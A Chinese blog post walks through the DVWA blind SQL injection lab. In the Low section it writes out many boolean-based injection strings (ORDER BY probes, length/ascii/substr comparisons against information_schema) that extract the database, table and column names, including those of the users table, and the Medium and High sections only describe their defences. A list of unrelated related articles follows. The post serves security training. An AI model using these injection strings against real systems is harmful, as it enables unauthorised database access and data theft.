SQL Injection (Blind)`

SQL Injection (Blind)

        SQL Injection (Blind) SQL盲注，是一种特殊类型的SQL注入攻击，它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下，需要利用一些方法进行判断或者尝试，这个过程称之为盲注。

盲注的主要形式有两种：

        1、基于布尔的盲注（Boolean based）：在某些场合下，页面返回的结果只有两种（正常或错误）。通过构造SQL判断语句，查看页面的返回结果（True or False）来判断哪些SQL判断条件成立，通过此来获取数据库中的数据。
        2、基于时间的盲注（Time based）：又称延时注入，即使用具有延时功能的函数sleep、benchmark等，通过判断这些函数是否正常执行来获取数据库中的数据。

        在 SQL 盲注中，字符型注入通常更容易通过页面上的不同提示来确认注入成功，而数字型注入则可能在页面上不显示直接的区别。这是因为字符型注入可以通过构造不同的字符串来影响 SQL 语句的执行，而数字型注入可能会导致结果为真或假的不同条件，但页面上可能没有直接的可见区别。

Low

1、判断注入类型

        代码并没有对参数做过滤或者验证，且页面返回的结果有两种

if ($exists) {// 用户存在的处理$html .= '<pre>User ID exists in the database.</pre>';
} else {// 用户不存在的处理header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');$html .= '<pre>User ID is MISSING from the database.</pre>';
}

        首先判断注入的类型，前文已经提到过 字符型的会有不同的提示证明SQL语句被成功执行，而数字型无论SQL对错页面提示的都是相同的 证明SQL语句并没有被执行 

        

                                                                  （为字符型注入）        

 

2、判断列数 

         

        接下来判断字符段数，通过尝试不同的 ORDER BY 子句中的列数，可以逐步确定实际的列数

通过类似于：   1' ORDER BY 1#  如果查询不出错，则至少为1列

           1' ORDER BY 2#  如果查询不出错，则至少为2列

           1' ORDER BY 3#  如果查询不出错，则至少为3列

如下，则字段数为2

  

3、判断数据库名、长度

        接下来，判断数据库名长  ，  length(database()) 可以返回当前数据库名的长度，我们可以通过逻辑条件将其与一个数字进行比较，用以判断

        此处，我们已经知道数据库是DVWA，长度确实是4位

1' and  length(database())>3 #

1' and  length(database())=4 #

 1' and  length(database())>4 #

        判断数据库名称，使用二分法判断数据库的名称,  通过 ASCII(SUBSTR(DATABASE(), 1, 1))  构造逻辑语句来判断数据库名称的每一个字母的ASCII码 

 "dvwa" 的 ASCII 码如下：

  • 'd': 100
  • 'v': 118
  • 'w': 119
  • 'a': 97

1' and ascii(substr(database(),1,1))>68 #

1' and ascii(substr(database(),1,1))<127 #         

两次存在，第一个字符的ASCII值大于68，小于127 则可以确定是一个字母

1' and ascii(substr(database(),1,1))<100 # 

1' and ascii(substr(database(),1,1))>100 # 

两次都不存在，则可以确定该字符的ASCII码的值为100，对照可知 第一个字符为“ d ”

 

1' and ascii(substr(database(),X,1))  判断第2、第3、第4位时，X分别为2、3、4

重复上述步骤，则可解出完整库名（dvwa）

       

4、判断数据库中表名、表长、数量

        关于数据库dvwa中 的表的数量  可以用 下列SQL注入字符串 查询返回当前数据库中表的数量，如果数量符合，整个条件将为真。

1' and (select count (table_name) from information_schema.tables where table_schema=database() )

1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()) = 2#

如上，可知dvwa库中，有两个表

        判断表1长度：通过SQL 注入字符串 猜解表长，检查当前数据库中某个表的第一个字符的长度是否为等号后的数字 

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #.
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

         由下图可见，当条件为 9 的时候 整个条件为真，所以第一个表的名长度为9

        判断表2长度：通过SQL 注入字符串 猜解表长，检查当前数据库中某个表的第一个字符的长度是否为等号后的数字       LIMIT 1, 1 表示从结果集中获取第二行，即下一个表的表名。   

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 # 
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #

         由下图可见，当条件为 5 的时候 整个条件为真，所以下一个表也就是第二张表名长度为5

        猜解表名，此处和前文猜数据库名方法相似，都是构造判断条件，判断字符的ASCII码的值来确定表名。

        LIMIT 0, 1 表示从结果集的第一行开始，取一行记录。后面的 ,1) 是 SUBSTR 函数的一部分，用于截取字符串的一部分。

        所以我们判断第二个字母的时候  改动部分语句   limit 0,1),2,1))   同理判断第三个字母时为limit 0,1),3,1)) 

        根据下面的字符串，同理，重复下去可得第一个表的名字为 guestbook

#通过 下面的 SQL 注入尝试已经成功地判断了当前数据库中下一个表的第一个字符的 ASCII 值的范围
#第一个字符的 ASCII 值在97到109之间，但不包括103
#ASCII码103对应的字符是小写字母"g"
#所以第一个表的名字的第一个字符为小写字母“g"1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

         LIMIT 1, 1), 1, 1) 用于选择 information_schema.tables 表中的第二个表名，并截取该表名的第一个字符。在 SQL 查询中，LIMIT 1, 1 是一个常见的用法，表示从结果集的第二行开始，取一行记录。而 SUBSTR(..., 1, 1) 则是用于截取字符串的子串，这里用于截取表名的第一个字符。

        还是同理可得，根据以下的注入字符串，修改参数后，重复下去可得第二表的完整表名 users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>97 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))<122 # 显示存在

        此时我们得到两个表的表名 ：  guestbook、users

5、猜解表中字段数量、段长、段名

        判断表中的字段数量，这里我们已经知道了两表中的列数，故不再一个个尝试，用已知数直接进行判断

        构造一个逻辑条件，用于检查名为 'users' 的表是否有超过4列的列数，名为”guestbook“的表是否有超过8列的列数。

1' and (select count(column_name) from information_schema.columns where table_name= 'users')>4 # 
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 
 

        接下来的判断段长、段名的步骤与判断数据库名、库民长的步骤一致，差异只在于参数的不同，故不再赘述，

        我们以users表为例：

        

用下面的注入字符串不断重复（）， 可得users表的字段长分别为7，10，9，4，8，6，10，12

#检查名为 'users' 的表的第一个列名的长度是否为1

1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 1#
……

……

#检查名为 'users' 的表的第一个列名的长度是否为7
1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 7#

        关于段名的判断，还是通过ASCII码的值，

检查名为 'users' 的表的第一个列名的第一个字符的 ASCII 值是否大于 97

替换参数，重复下去可得users表的第一个字段名为user_id

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97#
…………

…………

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))>97#
…………
…………

         

        重复判断段名的步骤最终得到users表中所有字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login

（这里太多，太麻烦了，我并没有全部验证，只验证了user_id字段）

Medium

        相较于low，medium的代码利用 mysql_real_escape_string 函数对特殊符号进行转义，包括但不限于 \x00, \n, \r, \,, ', ", 和 \x1a。、

        但是我们依然可以构造语句进行注入

High

        代码使用 cookie 来传递参数 id。如果 SQL 查询结果为空，代码将触发 sleep(seconds) 函数，用于扰乱基于时间的盲注攻击。同时，SQL 查询语句中加入了 LIMIT 1，以确保仅输出一个结果。尽管添加了 LIMIT 1，但通过使用 # 进行注释，我们仍然能够绕过该限制。受限于sleep函数的影响，基于时间的布尔盲注的准确性会受到影响。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/171305.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Python之内置函数和模块

Python之内置函数和模块

学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。各位小伙伴&#xff0c;如果您&#xff1a; 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持&#xff0c;想组团高效学习… 想写博客但无从下手&#xff0c;急需…
阅读更多...
基于单片机的可升降助眠婴儿床(论文+源码)

基于单片机的可升降助眠婴儿床(论文+源码)

1.系统设计 本课题为基于单片机的可升降助眠婴儿床系统&#xff0c;在设计目标上确定如下&#xff1a; 1. 可以实现婴儿床的升降&#xff0c;摇床功能控制&#xff1b; 2. 具有音乐播放功能&#xff0c;并且有多首曲目&#xff1b; 3. 用户可以通过按键或者红外遥控&#x…
阅读更多...
使用fetch封装get与post方法

使用fetch封装get与post方法

网上看了一些对fetch的封装&#xff0c;有点看不伶清。如在request中配置timeout与responseType字段等&#xff0c;在文档上找根本找不到。于是自己封装个简单版的fetch&#xff0c;方便拿到项目中改造一下就可以使用。 注意点 使用fetch时会产生跨域问题&#xff0c;需服务端…
阅读更多...
Runloop解析

Runloop解析

RunLoop 前言 ​ 本文介绍RunLoop的概念&#xff0c;并使用swift和Objective-C来描述RunLoop机制。 简介 ​ RunLoop——运行循环&#xff08;死循环&#xff09;&#xff0c;它提供了一个事件循环机制在程序运行过程中处理各种事件&#xff0c;例如用户交互、网络请求、定…
阅读更多...
用JAVA编程解决数位和相等问题

用JAVA编程解决数位和相等问题

如果一个正整数转化成二进制与转换成八进制后所有数位的数字之和相等&#xff0c;则称为数位和相等的数。 　　前几个数位和相等的正整数为 1, 8, 9, 64, …… 　　请问第 23 个数位和相等的正整数是多少&#xff1f;用JAVA编程解决 可以通过编程计算第 23 个数位和相等的正整…
阅读更多...
Xshell连接VMware虚拟机中的CentOS

Xshell连接VMware虚拟机中的CentOS

Xshell连接VMware虚拟机中的CentOShttps://www.cnblogs.com/niuben/p/13157291.html 步骤&#xff1a; 1. 检查Linux虚拟机的网络连接模式&#xff0c;确保它是NAT模式。&#xff08;由于只在本机进行连接&#xff0c;所以没有选择桥接模式。当然&#xff0c;桥接模式的配置会…
阅读更多...
利用ngrok实现内网穿透（全网最详细教程）

利用ngrok实现内网穿透（全网最详细教程）

准备工具&#xff1a; 1、phpstudy 用于在本地搭建网站 2、ngrok 用于将自己的本地端口暴露到公网上&#xff0c;从而实现内网穿透 文章开始前给大家分享一个学习人工智能的网站&#xff0c;通俗易懂&#xff0c;风趣幽默 人工智能https://www.captainbed.cn/myon/ ~~~~~…
阅读更多...
浅谈Linux bash脚本----获取脚本启动参数

浅谈Linux bash脚本----获取脚本启动参数

${#} 用于获取传递给脚本的参数数目 params_count${#} echo $params_count > ./PATH/TO/my_script.sh param1p1 param2p2 > 2 ${} 用于获取传递给脚本的参数列表 params_list${} echo $params_list > ./PATH/TO/my_script.sh param1p1 param2p2 > param1p1 …
阅读更多...
【教学类-06-12】20231126 （一）二位数 如何让加减乘除题目从小到大排序（以1-20之间加法为例，做正序排列用）

【教学类-06-12】20231126 （一）二位数 如何让加减乘除题目从小到大排序（以1-20之间加法为例，做正序排列用）

结果展示 优化后 优化前 背景需求&#xff1a; 生成列表 单独抽取显示题目排序方法 存在问题: 我希望 00 01 02……这样排序&#xff0c;但是实际上&#xff0c;除了第一个加数会从小到大排序&#xff0c;第二个被加数的第十位数和个位数都会从小到大排序&#xff0c;也就是…
阅读更多...
Centos7离线安装chrome浏览器

Centos7离线安装chrome浏览器

很多时候在linux下直接安装chrome浏览器困难，或者速度极慢，这里总结下在离线的情况下，怎么下载安装chrome并且配置对应的driver驱动 1.首先如果有安装历史版本，可以先卸载，卸载命令： yum remove google-chrome-stable.x86_64 -y 2.最好下载历史版本chrome，比较稳定，…
阅读更多...
Docker attach 命令

Docker attach 命令

docker attach&#xff1a;连接到正在运行中的容器。 语法 docker attach [OPTIONS] CONTAINER要attach上去的容器必须正在运行&#xff0c;可以同时连接上同一个container来共享屏幕&#xff08;与screen命令的attach类似&#xff09;。 官方文档中说attach后可以通过CTRL-…
阅读更多...
提示工程-Prompt Engineering

提示工程-Prompt Engineering

提示工程 提示工程 1、概述 Prompt Engineering&#xff1a; 提示工程 通过自然语言&#xff08;英语、汉语等&#xff09;来给AI下达指示&#xff0c;从而让AI完成你指定给他的工作的过程都可以称之为提示工程。&#xff08;面向自然语言编程&#xff09; 提示词要素 指令&…
阅读更多...
Spring Web MVC

Spring Web MVC

目录 一.简介 二.建立连接&#xff08;客户端和服务器&#xff09; 三.请求 1.传递单个参数 2.传递多个参数 3.对象 4.数组/集合 5.JSON 6.URL参数 7.上传文件 8.获取cookie和session &#xff08;1&#xff09;获取cookie &#xff08;2&#xff09;获取session …
阅读更多...
electron 问题记录

electron 问题记录

23年11月24 electron项目npm install 卡在一个地方不动 原因&#xff1a;主要是 install electron 会卡住 解决方法&#xff1a; # 先解决install electron卡死 npm install -g cnpm --registryhttps://registry.npmmirror.com cnpm install electron# 然后下载其他依赖 np…
阅读更多...
4D Gaussian Splatting：用于实时的动态场景渲染

4D Gaussian Splatting：用于实时的动态场景渲染

Wu G, Yi T, Fang J, et al. 4d gaussian splatting for real-time dynamic scene rendering[J]. arXiv preprint arXiv:2310.08528, 2023. 更多参考资料如下&#xff1a; 文章总结&#xff1a;4D Gaussian Splatting for Real-Time Dynamic Scene Rendering&#xff1b;疑难问…
阅读更多...
C#，《小白学程序》第二十一课：大数的减法（BigInteger Subtract）

C#，《小白学程序》第二十一课：大数的减法（BigInteger Subtract）

1 文本格式 using System; using System.Linq; using System.Text; using System.Collections.Generic; /// <summary> /// 大数的&#xff08;加减乘除&#xff09;四则运算、阶乘运算 /// 乘法计算包括小学生算法、Karatsuba和Toom-Cook3算法 /// </summary> p…
阅读更多...
js返回顶部按钮

js返回顶部按钮

返回顶部模块 你可以使用 JavaScript 和 CSS 来实现滚动到底部时显示侧边栏&#xff0c;并点击返回顶部按钮返回页面顶部的效果。下面是一个简单的示例代码&#xff1a; HTML&#xff1a; <!DOCTYPE html> <html> <head><style>#sidebar {position:…
阅读更多...
[网络] 4. HTTP/1.1 相比 HTTP/1.0 提高了什么性能？

[网络] 4. HTTP/1.1 相比 HTTP/1.0 提高了什么性能？

HTTP/1.1 相比 HTTP/1.0 性能上的改进 ● 使用长连接的方式改善了 HTTP/1.0 短连接造成的性能开销。 ● 支持管道&#xff08;pipeline&#xff09;网络传输&#xff0c;只要第一个请求发出去了&#xff0c;不必等其回来&#xff0c;就可以发第二个请求出去&#xff0c;可以减…
阅读更多...
python中模块的创建及引用（import as，import，from）

python中模块的创建及引用（import as，import，from）

模块&#xff08;module&#xff09;简介&#xff1a; 1.模块化&#xff0c;模块化指将一个完整的程序分解为一个一个的小模块&#xff0c; 通过将模块组合&#xff0c;来搭建出一个完整的程序 2.不采用模块化就是统一将所有的代码编写到一个文件中&#xff0c;采用 模块化就是…
阅读更多...
Linux内核--内存管理(十二)内存映射

Linux内核--内存管理(十二)内存映射

目录 一、引言 二、用户态内存映射 ------>2.1、小块内存申请 ------>2.2、大内存块申请 三、用户态缺页异常 ------>3.1、匿名页映射 ------>3.2、文件映射 ------>3.3、页交换 四、内核态内存映射及缺页异常 五、总结 一、引言 内存映射不仅是物理…
阅读更多...
最新文章

Copyright @ 2022~2023